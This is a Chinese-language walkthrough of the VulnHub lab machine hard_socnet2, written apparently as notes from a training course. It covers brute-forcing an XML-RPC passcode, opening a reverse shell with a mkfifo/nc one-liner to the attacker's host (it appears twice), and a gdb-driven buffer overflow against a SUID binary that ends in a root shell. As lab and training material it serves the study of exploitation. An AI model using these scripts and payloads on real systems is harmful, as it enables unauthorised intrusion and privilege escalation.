靶机介绍
1）靶机地址：https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
2）靶机难度：高
3）打靶目标: 取得 root 权限
4）涉及攻击方法：主机发现、端口扫描、SQL注入、文件上传、蚁剑上线、CVE-2021-3493、XMLRPC、逆向工程、动态调试、缓冲区溢出、漏洞利用代码编写
5）课程来源：https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
6）参考连接：https://docs.python.org/zh-cn/3/library/xmlrpc.html
打靶过程：
注：本次打靶过程以前面获得低权限的用户账号为前提进行提权，但不知道CVE-2021-3493该漏洞
1）信息搜集：查看用户文件，是否存在其他用户，简单查看后，发现一个socnet的可以登录的用户，可猜测为目标应用程序的管理用户
$ cat /etc/passwd |grep /bin/bash
2）信息搜集：查看到socnet用户加目录下存在三个文件。其中monitor.py是在web界面中看到的管理员留言的提到的文件，该脚本的作用是监视服务器的运行状态，且该脚本已经在服务器运行了
$ cd /home/socnet
$ pwd
$ ls
$ ps awx |grep monitor.py
3）查看monitor.py文件源码，阅读代码，查看该程序是否存在漏洞
cat monitor.py
#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random
debugging_pass = random.randint(1000,9999)
def runcmd(cmd): #定义函数
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) #创建一个新的进程，来执行变量cmd,同时启用一个新的shell在其中执行cmd
output = results.stdout.read() + results.stderr.read()
return output
def cpu():
return runcmd("cat /proc/cpuinfo") #调用runcmd函数执行命令
def mem():
return runcmd("free -m")
def disk():
return runcmd("df -h")
def net():
return runcmd("ip a")
def secure_cmd(cmd,passcode):
if passcode==debugging_pass: #随机数debugging_pass和passcode比较，cmd为自定义命令
return runcmd(cmd)
else:
return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()
XMLRPC：可以利用xmlrpc在服务器端生成一个服务器端的API，该API可以接受客户端同样使用rpcxml的请求访问方式，访问服务器端的API
官网：https://docs.python.org/zh-cn/3/library/xmlrpc.html
4）通过编写客户端代码，使其连接服务端代码，根据服务端返回请求的判断结果进行暴力破解，破解出服务端代码中的passcode值
①先进行简单测试：通过脚本请求了服务端的cpu信息，服务端接受到cpu请求后，通过其API接口执行了客户端的请求，查询到了目标服务器CPU的信息
# cat a.py
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.56.112:8000/") as proxy:
print(str(proxy.cpu()))
# python3 a.py
②修改客户端代码，通过暴力破解的方式，把服务器端的random随机生成的数字passcode破解出来
# cat b.py
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.56.112:8000/") as proxy:
for p in range(1000,10000):
r = str(proxy.secure_cmd('whoami',p))
if not "Wrong" in r:
print(p)
print(r)
break
# python3 b.py
5）编写客户端代码，通过上一步暴力破解出的passcode值，使服务器执行自定义系统命令（此处为反弹shell命令）
①编写客户端代码
# cat a.py
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.56.112:8000/") as proxy:
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.56.103 4444 >/tmp/f"
r = str(proxy.secure_cmd(cmd,7630))
print(r)
②kali主机进行监听
# nc -lvvp 4444
③执行客户端脚本
# python3 a.py
④将反弹的shell进行一个简单升级,查看socnet用户家目录下文件信息 ，查看发现文件add_record是一个32位的可执行程序，而且该程序使用了suid和sgid权限
$ python -c "import pty;pty.spawn('/bin/bash')"
$ cd /home/socnet
$ ls -l
$ file add_record
peda是一个python gdb动态调试脚本，有许多方便的命令来帮助加速利用Linux/Unix上的开发过程。它也是编写自定义交互式python gdb命令，
思路：使用gdb来调试add_record程序，跟踪其内存使用情况，查看是否有内存溢出等问题
补充：漏洞挖掘本质：
所有应用程序的漏洞挖掘方法原理都是一样的，一个web应用程序，防止在远端服务器，对其进行攻击、注入的具体方法是向这个程序所有的数据提交点提交一些异常的数据，让程序在处理这些payload时产生一些意想不到的异常，最终使得我们可以获取到一个反弹shell.
如果面对的是一个本机上运行的普通的应用程序，针对该程序进行漏洞挖掘的思路和针对web应用程序漏洞挖掘的思路是一样的。首先，需要找到应用程序的攻击面（即向该程序数据提交的入口点），针对各个入口点，尝试payload的注入。
6）先对add_record程序进行漏洞挖掘，先需要知道该程序具有哪些数据提交的入口点
①先执行应用程序add_record，执行程序后，需要输入一些数据，输入的数据最后会生成在一个文件中
$ ./add_record
②再次执行应用程序，此处输入trouble数量为1，发现需要输入描述信息，同时本次添加的数据也会追加至employee_records.txt文件中
7）可以发现，name、worked、salary、trouble、explain都是可以提交数据的入口点，按个对上述入口点进行数据提交，测试是否存在内存溢出的漏洞
补充：gdb是一个程序的动态调试工具，通过该调试工具，可以跟踪和监视在程序在运行过程中计算机所有寄存器、堆栈、内存使用情况、函数调用的跟踪判断。发现在那次数据提交过程中，会造成内存数据的溢出。
$ gdb -q ./add_record
gdb-peda$ r #正式的去加载，执行程序，上一步只是程序被解释器所调用
内存溢出相应测试技巧：向每一个数据的提交位置，输入大量的A,通过这种方法去监视内存的变化，如果这个时候该变量存在缓存区漏洞，导致了内存溢出，覆盖到了其他的寄存器位置，那么就可以通过判断其他寄存器中的数据是否全是A，这种现象来判断注入的数据是否成功的溢出到了其他寄存器，进而通过进一步探测，成功的去利用及修改寄存器中具体位置的具体值来实现最终代码的加载执行
①先通过python生成500个A
# python -c "print('A'*500)"
②执行以后发现程序被退出了，没有发现任何的程序溢出的情况。可以初步判断，该位置并没有内存溢出漏洞
③按照上述方法，直到输入到explain变量时，看到堆栈中出现了大量的A,通过该显示，可以确定explain变量没有做内存范围的限定，导致500个A被溢出，覆盖到了内存中其他的位置，导致堆栈中出现了大量的A
注：在缓存区溢出漏洞中，需重点关注ELP寄存器，因为ELP寄存器中保存的数据，是CPU接下来要去运行的下一条指令所对应的内存地址的编号，所以需要判断出，ELP中对应的AAAA是500个A中的具体哪几个A。当判断出ELP中的4个A在500个A中的具体位置，就可以知道，当注入第多少个字符时，字符会被精准的覆盖到ELP寄存器中，然后就可在该位置放置payload程序所对应的内存地址，然后去执行反弹shell，获取目标系统最高权限
④逐渐缩小，注入的字符的数量个数，发现注入100个A时，同样会造成溢出
# python -c "print('A'*100)"
⑤生成一串特征字符，帮助我们去识别AAAA在500个字符的哪个位置（每4个字符都不相同）
$ pattern create 100
⑥通过gdb调试工具，自动去识别AHAA在具体哪个位置，可以发现EIP寄存器的偏移量位置为62，即从63个字符开始，就会进入到EIP寄存器中
$ pattern search
⑦生成62个占位符，并生成一串字符，确定BCDE会被注入到EIP寄存器中
# python -c "print('A'*62 + 'BCDE')"
8）此时可精准的向EIP寄存器中写入我们想要写入的任何数据，此时
①发现漏洞具体过程：先对应用程序进行了汇编代码的查看
$ disas main
补充：一个程序执行时，CPU会对其分配内存地址，在内存地址中加载指令、存放数据，进行数据的处理，再把运算的结果输出
Dump of assembler code for function main:
0x080486d8 <+0>: lea ecx,[esp+0x4]
0x080486dc <+4>: and esp,0xfffffff0
0x080486df <+7>: push DWORD PTR [ecx-0x4]
0x080486e2 <+10>: push ebp
0x080486e3 <+11>: mov ebp,esp
0x080486e5 <+13>: push edi
0x080486e6 <+14>: push esi
0x080486e7 <+15>: push ebx
0x080486e8 <+16>: push ecx
0x080486e9 <+17>: sub esp,0xa8
0x080486ef <+23>: call 0x80485b0 <__x86.get_pc_thunk.bx>
0x080486f4 <+28>: add ebx,0x1654
0x080486fa <+34>: mov DWORD PTR [ebp-0xac],0x414e
0x08048704 <+44>: lea edx,[ebp-0xa8]
0x0804870a <+50>: mov eax,0x0
0x0804870f <+55>: mov ecx,0x18
0x08048714 <+60>: mov edi,edx
0x08048716 <+62>: rep stos DWORD PTR es:[edi],eax
0x08048718 <+64>: sub esp,0x8
0x0804871b <+67>: lea eax,[ebx-0x13ee]
0x08048721 <+73>: push eax
0x08048722 <+74>: lea eax,[ebx-0x13ec]
0x08048728 <+80>: push eax
0x08048729 <+81>: call 0x8048520 <fopen@plt> //调用函数，fopen表示打开文件，@plt表示是内嵌函数，显示程序欢迎提示信息
0x0804872e <+86>: add esp,0x10
0x08048731 <+89>: mov DWORD PTR [ebp-0x1c],eax
0x08048734 <+92>: sub esp,0xc
0x08048737 <+95>: lea eax,[ebx-0x13d4]
0x0804873d <+101>: push eax
0x0804873e <+102>: call 0x80484e0 <puts@plt> //
0x08048743 <+107>: add esp,0x10
0x08048746 <+110>: sub esp,0xc
0x08048749 <+113>: lea eax,[ebx-0x137c]
0x0804874f <+119>: push eax
0x08048750 <+120>: call 0x8048480 <printf@plt> //call表示函数调用，表示输入用户名
0x08048755 <+125>: add esp,0x10
0x08048758 <+128>: mov eax,DWORD PTR [ebx-0x4]
0x0804875e <+134>: mov eax,DWORD PTR [eax]
0x08048760 <+136>: sub esp,0x4
0x08048763 <+139>: push eax
0x08048764 <+140>: push 0x19
0x08048766 <+142>: lea eax,[ebp-0x39]
0x08048769 <+145>: push eax
0x0804876a <+146>: call 0x80484b0 <fgets@plt>
0x0804876f <+151>: add esp,0x10
0x08048772 <+154>: sub esp,0xc
0x08048775 <+157>: lea eax,[ebx-0x1366]
0x0804877b <+163>: push eax
0x0804877c <+164>: call 0x8048480 <printf@plt> //输入工作年限
0x08048781 <+169>: add esp,0x10
0x08048784 <+172>: sub esp,0x8
0x08048787 <+175>: lea eax,[ebp-0x40]
0x0804878a <+178>: push eax
0x0804878b <+179>: lea eax,[ebx-0x1352]
0x08048791 <+185>: push eax
0x08048792 <+186>: call 0x8048540 <__isoc99_scanf@plt>
0x08048797 <+191>: add esp,0x10
0x0804879a <+194>: sub esp,0xc
0x0804879d <+197>: lea eax,[ebx-0x134f]
0x080487a3 <+203>: push eax
0x080487a4 <+204>: call 0x8048480 <printf@plt> #输入工资
0x080487a9 <+209>: add esp,0x10
0x080487ac <+212>: sub esp,0x8
0x080487af <+215>: lea eax,[ebp-0x44]
0x080487b2 <+218>: push eax
0x080487b3 <+219>: lea eax,[ebx-0x1352]
0x080487b9 <+225>: push eax
0x080487ba <+226>: call 0x8048540 <__isoc99_scanf@plt>
0x080487bf <+231>: add esp,0x10
0x080487c2 <+234>: sub esp,0xc
0x080487c5 <+237>: lea eax,[ebx-0x1340]
0x080487cb <+243>: push eax
0x080487cc <+244>: call 0x8048480 <printf@plt> #输入
0x080487d1 <+249>: add esp,0x10
0x080487d4 <+252>: sub esp,0x8
0x080487d7 <+255>: lea eax,[ebp-0x48]
0x080487da <+258>: push eax
0x080487db <+259>: lea eax,[ebx-0x1352]
0x080487e1 <+265>: push eax
0x080487e2 <+266>: call 0x8048540 <__isoc99_scanf@plt>
0x080487e7 <+271>: add esp,0x10
0x080487ea <+274>: call 0x80484a0 <getchar@plt>
0x080487ef <+279>: mov DWORD PTR [ebp-0x20],eax
0x080487f2 <+282>: cmp DWORD PTR [ebp-0x20],0xa
0x080487f6 <+286>: je 0x80487fe <main+294>
0x080487f8 <+288>: cmp DWORD PTR [ebp-0x20],0xffffffff
0x080487fc <+292>: jne 0x80487ea <main+274>
0x080487fe <+294>: mov eax,DWORD PTR [ebp-0x48]
0x08048801 <+297>: cmp eax,0x1
0x08048804 <+300>: jne 0x804883c <main+356>
0x08048806 <+302>: sub esp,0xc
0x08048809 <+305>: lea eax,[ebx-0x1317]
0x0804880f <+311>: push eax
0x08048810 <+312>: call 0x8048480 <printf@plt>
0x08048815 <+317>: add esp,0x10
0x08048818 <+320>: sub esp,0xc
0x0804881b <+323>: lea eax,[ebp-0xac]
0x08048821 <+329>: push eax
0x08048822 <+330>: call 0x8048490 <gets@plt>
0x08048827 <+335>: add esp,0x10
0x0804882a <+338>: sub esp,0xc
0x0804882d <+341>: lea eax,[ebp-0xac]
0x08048833 <+347>: push eax
0x08048834 <+348>: call 0x80486ad <vuln> //调用自定义函数vuln
0x08048839 <+353>: add esp,0x10
0x0804883c <+356>: sub esp,0xc
0x0804883f <+359>: lea eax,[ebx-0x130d]
0x08048845 <+365>: push eax
0x08048846 <+366>: call 0x80484e0 <puts@plt>
0x0804884b <+371>: add esp,0x10
0x0804884e <+374>: mov ecx,DWORD PTR [ebp-0x48]
0x08048851 <+377>: mov edx,DWORD PTR [ebp-0x44]
0x08048854 <+380>: mov eax,DWORD PTR [ebp-0x40]
0x08048857 <+383>: sub esp,0x8
0x0804885a <+386>: lea esi,[ebp-0xac]
0x08048860 <+392>: push esi
0x08048861 <+393>: push ecx
0x08048862 <+394>: push edx
0x08048863 <+395>: push eax
0x08048864 <+396>: lea eax,[ebp-0x39]
0x08048867 <+399>: push eax
0x08048868 <+400>: lea eax,[ebx-0x12ec]
0x0804886e <+406>: push eax
0x0804886f <+407>: call 0x8048480 <printf@plt>
0x08048874 <+412>: add esp,0x20
0x08048877 <+415>: mov ecx,DWORD PTR [ebp-0x48]
0x0804887a <+418>: mov edx,DWORD PTR [ebp-0x44]
0x0804887d <+421>: mov eax,DWORD PTR [ebp-0x40]
0x08048880 <+424>: sub esp,0x4
0x08048883 <+427>: lea esi,[ebp-0xac]
0x08048889 <+433>: push esi
0x0804888a <+434>: push ecx
0x0804888b <+435>: push edx
0x0804888c <+436>: push eax
0x0804888d <+437>: lea eax,[ebp-0x39]
0x08048890 <+440>: push eax
0x08048891 <+441>: lea eax,[ebx-0x12ec]
0x08048897 <+447>: push eax
0x08048898 <+448>: push DWORD PTR [ebp-0x1c]
0x0804889b <+451>: call 0x8048510 <fprintf@plt>
0x080488a0 <+456>: add esp,0x20
0x080488a3 <+459>: sub esp,0xc
0x080488a6 <+462>: push DWORD PTR [ebp-0x1c]
0x080488a9 <+465>: call 0x80484c0 <fclose@plt>
0x080488ae <+470>: add esp,0x10
0x080488b1 <+473>: mov eax,0x0
0x080488b6 <+478>: lea esp,[ebp-0x10]
0x080488b9 <+481>: pop ecx
0x080488ba <+482>: pop ebx
0x080488bb <+483>: pop esi
0x080488bc <+484>: pop edi
0x080488bd <+485>: pop ebp
0x080488be <+486>: lea esp,[ecx-0x4]
0x080488c1 <+489>: ret
End of assembler dump.
②使用下断点的方式，对汇编代码进行调试
gdb-peda$ break *0x0804873d #地址前需要加*
gdb-peda$ r
gdb-peda$ s #s表示单步执行，每次执行一个CPU的指令
下图表示，下一步将执行call执行
单步执行，发现堆栈中数据发生了变化，显示了程序第一次执行时，所显示的信息
③删除断点,重新设置断点
gdb-peda$ del 1
gdb-peda$ break *0x0804877b
gdb-peda$ r
逐个按照上述方法，可以理清程序逻辑
9）根据上述代码分析，发现了一个自定义的vuln函数，根据函数名称，查看该函数具体的功能
①先查看当前应用程序，所有的函数（包括内嵌函数和自定义函数）
gdb-peda$ info func
0x080484f0 system@plt
0x08048500 __libc_start_main@plt
0x08048510 fprintf@plt
0x08048520 fopen@plt
0x08048530 setuid@plt
0x08048676 backdoor
0x080486ad vuln
0x080486d8 main
system函数：用于执行操作系统的某些指令
setuid函数：说明该程序中，调用了setuid函数,申请了系统权限，结合前面add_record程序就具备suid权限，说明就是通过该函数调用了系统权限
②查看vuln函数中，执行了哪些指令：发现在vuln函数中，又调用了strcpy这个操作系统内嵌函数
gdb-peda$ disas vuln
③对strcpy这个操作系统内嵌函数搜索发现，该函数历史版本存在已知漏洞：因strcpy函数存在缓存区溢出漏洞，又因自定义函数vuln函数调用了strcpy函数函数，导致应用程序存在漏洞
④查看backdoor函数：发现该函数调用了setuid函数和system函数
gdb-peda$ disas backdoor
⑤对backdoor函数进行跟踪，先取得该函数起始位置的内存地址，再将该地址写入ELP寄存器中，即可直接运行backdoor函数，再跟踪到该函数中的system指令到底执行了哪些系统命令
10）因主程序中只执行了vuln函数，而vuln函数又会调用存在缓冲区溢出漏洞的strcpy内嵌函数，但是主函数中没有直接调用backdoor函数，所有必须利用主程序中加载的vuln函数，利用缓冲区漏洞，向EIP寄存器中写入backdoor函数的起始内存加载地址，使其执行backdoor函数，进而执行system函数中的操作系统指令
注意事项：如下图所示，在EIP寄存器中存放的字符BCDE对应的16进制数值时，发现地址是倒叙排列的，即B=42、C=43、D=44、E=45,但是地址为0x45444343
所以要想把backdoor函数的起始位置的内存地址写入到EIP寄存器，需要按照颠倒的方式写入，根据前面查看，backdoor函数的起始地址为0x08048676
①利用python生成程序需要输入的字符
# python -c "import struct; print('zdz\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" >payload
②在目标主机，生成payload文件
socnet@socnet2:~$ python -c "import struct; print('zdz\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" >payload
③将payload文件一次性的输入给应用程序
socnet@socnet2:~$ gdb -q ./add_record
gdb-peda$ r < payload
程序执行发现，最后执行了/bin/dash和/bin/bash
11)对vuln函数设置断点，将payload加载到程序中，一直通过s更进，当一直出现backdoor函数具体执行system函数时进行停止
gdb-peda$ q
socnet@socnet2:~$ gdb -q ./add_record
gdb-peda$ break vuln
gdb-peda$ r < payload
gdb-peda$ s
12）将peyload全部加载只应用程序中，获取到root权限
socnet@socnet2:~$ cat payload - | ./add_record
13）可以使用反弹shell的方式在kali获得一个界面相对友好的shell
kail:
# nc -lvvp 3333
目标主机shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.56.103 3333 >/tmp/f
